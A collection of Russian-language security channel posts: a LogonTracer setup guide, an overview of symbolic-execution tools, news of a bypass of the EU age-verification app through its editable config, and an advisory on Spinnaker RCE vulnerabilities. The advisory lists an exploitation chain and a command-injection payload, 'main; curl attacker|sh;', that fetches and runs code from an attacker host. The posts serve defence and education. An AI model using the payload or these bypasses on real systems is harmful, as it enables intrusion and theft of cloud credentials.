https://codeby.net/threads/bezopasnost-infrastructure-as-code-ot-miskonfiguratsii-v-terraform-do-detection-pravila-v-siem.92969/

🕸LogonTracer

Инструмент для расследования инцидентов несанкционированного входа в систему, позволяющий визуализировать и анализировать журналы событий Windows Active Directory. Он сопоставляет имя хоста (или IP-адрес) и имя учетной записи, указанные в событиях, связанных с входом в систему, и отображает их в виде графов. Таким образом можно увидеть, с какой учетной записи и с какого хоста была предпринята попытка входа.

📐Позволяет визуализировать следующие идентификаторы событий, связанных со входом в Windows: 📉4624 — Успешный вход в систему; 📉4625 — Ошибка входа в систему; 📉4662 — Выполнена операция над объектом; 📉4672 — Назначены специальные привилегии; 📉4719 — Изменена политика аудита системы; 📉4720 — Создана учётная запись пользователя; 📉4726 — Удалена учётная запись пользователя; 📉4728 / 4732 / 4756 — Пользователь добавлен в защищённую группу; 📉4729 / 4733 / 4757 — Пользователь удалён из защищённой группы; 📉4768 — Аутентификация Kerberos (запрос TGT); 📉4769 — Сервисный билет Kerberos (запрос ST); 📉4776 — Аутентификация NTLM; 📉5137 — Создан объект службы каталогов; 🖱5141 — Удалён объект службы каталогов. Включает в себя механизм анализа на основе искусственного интеллекта с использованием моделей OpenAI GPT для интеллектуального обнаружения угроз в дополнение к традиционным подходам, основанным на правилах: ➡️Анализ шаблонов безопасности — автоматическая интерпретация результатов графовых запросов и оценка рисков с помощью сопоставления тактик MITRE ATT&CK; ➡️Автономный агент на основе больших языковых моделей — итеративный ИИ-агент, который самостоятельно генерирует и выполняет запросы Cypher к графу Neo4j для выявления угроз без участия человека; ➡️Сигма-правила, созданные ИИ — преобразование результатов анализа ИИ в развертываемые сигма-правила обнаружения; ➡️Поддержка нескольких языков — ответы ИИ могут генерироваться на английском, японском или французском языках. Дополнительный анализ 1️⃣ LogonTracer использует PageRank (алгоритм, используемый поисковой системой Google для ранжирования веб-страниц в результатах поиска), скрытую марковскую модель и ChangeFinder для обнаружения вредоносных хостов и учетных записей в журналах событий. 2️⃣ С помощью LogonTracer можно также просматривать журналы событий в хронологическом порядке. ⬇️Установка Клонируем репозиторий и устанавливаем зависимости.

git clone https://github.com/JPCERTCC/LogonTracer.git
cd LogonTracer
pip3 install -r requirements.txt

Далее необходимо скачать и запустить Neo4j и отредактировать файл конфигурации vi config/config.yml.

settings: logontracer: WEB_PORT: "8080" default_user: "neo4j" # Имя пользователя Neo4j для учетной записи LogonTracer по умолчанию default_password: "password" # Измените его перед первым запуском neo4j: NEO4J_USER: "neo4j" NEO4J_PASSWORD: "password" # Ваш пароль для Neo4j NEO4J_SERVER: "localhost" WS_PORT: "7687"

После этого остается запустить приложение командой python3 logontracer.py --run и открыть его по адресу http://localhost:8080. #defense #tools #SOC 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

6 строк кода вместо 4 часов реверса: как символьное исполнение ломает CTF-таски На CSAW CTF 2015 задача «wyvern» из категории Reversing 500 содержала бинарь с десятками вложенных проверок ввода. Ручной реверс в Ghidra — часы работы. Скрипт на 6 строках angr решил её за 15 минут. Автоматически сгенерировал входные данные, удовлетворяющие каждому условию. Не магия, а математика. 🔬 Суть подхода простая. Вместо конкретных значений на вход подаются символические переменные — абстракции, которые могут быть чем угодно. На каждом ветвлении (if, switch, граница цикла) движок создаёт два состояния и накапливает ограничения. В целевой точке — например, при вызове puts("Access granted") — всё передаётся SMT-солверу Z3, который решает систему уравнений и возвращает конкретный ввод. Никакого перебора — чистая математическая задача. Если целевой точкой назначить вызов strcpy с контролируемым буфером, солвер найдёт ввод, приводящий к buffer overflow. Это уже не CTF — это автоматический поиск уязвимостей в реальных бинарях. ⚡️ Но есть нюансы. Главный враг — path explosion. Каждое ветвление удваивает число состояний. Цикл на 1000 итераций с условием внутри — теоретически 2^1000 путей. А если проверка включает SHA-256 или другую криптографию, Z3 просто не решит constraints за разумное время. Поэтому символьное исполнение — фильтр, а не серебряная пуля. Теперь к выбору инструмента. Три основных фреймворка: • angr — самый зрелый и живой. Поддерживает x86/x64, ARM, MIPS. Еженедельные коммиты, богатая документация, десятки готовых примеров. На FlareOn 2015 Challenge 5 — решение за 2 минуты 10 секунд. ASIS CTF Finals 2015 — 3.6 секунды. Лучший выбор для CTF, пентеста, автоматизации рутинного реверса. • Manticore — от Trail of Bits. Уникальная фишка — поддержка смарт-контрактов Ethereum. Помог обнаружить CVE-2020-5232 (CVSS 8.7) в Ethereum Name Service. Но разработка фактически остановилась — начинать новый проект на нём рискованно. • Triton — заточен под динамический анализ. Работает не с абстрактным исполнением всех путей, а с конкретной трассой. Идеален для деобфускации, снятия MBA-выражений, точечного анализа конкретного пути исполнения. 🎯 Простое правило выбора: нужен автоматический обход всех путей — angr. Аудит смарт-контрактов — Manticore (с оговорками). Работа с конкретной трассой и деобфускация — Triton. В полной статье — рабочий код для каждого фреймворка, decision tree выбора инструмента и честный разбор граничных случаев, где символьное исполнение ломается. https://codeby.net/threads/simvol-noye-ispolneniye-dlya-poiska-uyazvimostei-angr-manticore-i-triton-na-praktike.92962/

🪧Исследователи смогли обойти защиту приложения Евросоюза для проверки возраста менее чем за 2 минуты. На днях Евросоюз представил новое приложение для проверки возраста, которое позволяет пользователям подтверждать свой возраст в интернете, не передавая личные данные платформам. Таким образом, сайтам больше не нужно собирать конфиденциальную информацию. 🧿Критика обрушилась вскоре после того, как один из политических деятелей назвал новое приложение технически совершенным и соответствующим самым высоким стандартам конфиденциальности, подчеркнув, что его открытый исходный код обеспечивает прозрачность. ↗️Способ обойти защиту Консультант по безопасности Пол Мур обнаружил, что приложение хранит зашифрованный PIN-код локально, но, что особенно важно, шифрование не привязано к хранилищу личных данных пользователя, где хранятся конфиденциальные данные для верификации. Это открывает возможности для удивительно простого обхода защиты. Удалив определенные значения, связанные с PIN-кодом, из файлов конфигурации приложения и перезапустив его, злоумышленник может установить новый PIN-код, сохранив при этом доступ к учетным данным, созданным в предыдущем профиле. 👉Другие недостатки контроля безопасности приложения Исследователь также указал на дополнительные уязвимости, которые еще больше упрощают перебор паролей или попытки их обойти: 1️⃣Ограничение скорости, которое обычно используется для предотвращения многократного подбора PIN-кодов, хранится в виде простого счетчика в том же редактируемом файле конфигурации. Обнулите его, и система забудет, сколько попыток уже было предпринято. 2️⃣Биометрическая аутентификация, в свою очередь, управляется одним логическим флагом. Измените его значение с «истина» на «ложь», и приложение просто перестанет использовать биометрическую аутентификацию. 🔁Заявление ЕС Официальные лица признали, что представленная публике версия еще не является готовым потребительским продуктом, несмотря на то, что ее назвали «готовой». В Еврокомиссии заявили, что представленное приложение «обладает всеми функциями», которые планировались для пользователей, но подчеркнули, что на практике это «все еще демонстрационная версия». По словам пресс-секретаря, ключевое отличие заключается в том, что приложение еще официально не представлено гражданам. Вместо этого его исходный код опубликован в открытом доступе специально для того, чтобы его можно было изучить. #news #security #vulnerabilities 🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Две девятки по CVSS в Spinnaker: как обычная учётка превращается в shell на production Spinnaker — платформа для управления деплоями от Netflix, которую используют Google, Cisco и сотни enterprise-команд. В апреле 2026 года в ней нашли две критические уязвимости с оценкой CVSS 9.9. Обе эксплуатируются пользователем без привилегий — достаточно просто быть аутентифицированным. 🔥 CVE-2026-32604 — command injection в clouddriver. Поле version из JSON-запроса к эндпоинту PUT /artifacts/fetch конкатенируется прямо в shell-команду без какой-либо санитизации. Буквально: clouddriver берёт пользовательский ввод и подставляет его в sh -c "git clone --branch YOUR_INPUT...". Точка с запятой в поле version — и вместо клонирования репозитория clouddriver выполняет произвольный код. Никаких специальных ролей не нужно — ни WRITE на application, ни EXECUTE на pipeline. 🔑 CVE-2026-32613 — SpEL-инъекция в Echo, сервисе нотификаций и триггеров. Spring Expression Language позволяет выполнить произвольный Java-код на сервере. Тут нужен WRITE на одно application, но результат тот же — полный RCE. Почему это так больно? Архитектура Spinnaker построена на модели доверия периметру: Gate аутентифицирует запросы на входе, а дальше все 10+ микросервисов общаются друг с другом внутри Kubernetes-кластера без проверки прав. Получил shell на clouddriver — а там лежат production-credentials к AWS, GCP, Azure. Полностью доверенная зона, без токенов, без вопросов. ⚡️ Цепочка эксплуатации CVE-2026-32604 выглядит до обидного просто: 1. Аутентифицироваться в Gate (любая учётка) 2. Запросить GET /artifacts/credentials — эндпоинт отдаёт список всех artifact accounts без проверки ролей 3. Найти аккаунт с типом TOKEN или USER_PASS 4. Отправить PUT /artifacts/fetch с payload вида "version": "main; curl attacker|sh;" Всё. Command injection уровня «первый семестр secure coding», а CVSS — 9.9. Clouddriver выполнит ваш скрипт с правами пода, в котором хранятся ключи от production-облаков. Что делать прямо сейчас: • Обновиться до Spinnaker 2026.0.1, 2025.4.2 или 2025.3.2 • Проверить, не торчит ли Gate наружу (ZeroPath находила публичные инстансы) • Аудит artifact accounts — убрать неиспользуемые TOKEN/USER_PASS аккаунты • Внедрить network policies между микросервисами — модель «доверяй всем внутри кластера» в 2026 году уже не работает В полной статье — разбор обоих векторов до уровня конкретных строк кода, post-exploitation и то, что видит и не видит blue team. https://codeby.net/threads/cve-2026-32604-i-cve-2026-32613-rce-v-spinnaker-ot-low-priv-autentifikatsii-do-shell-na-clouddriver-i-echo.92955/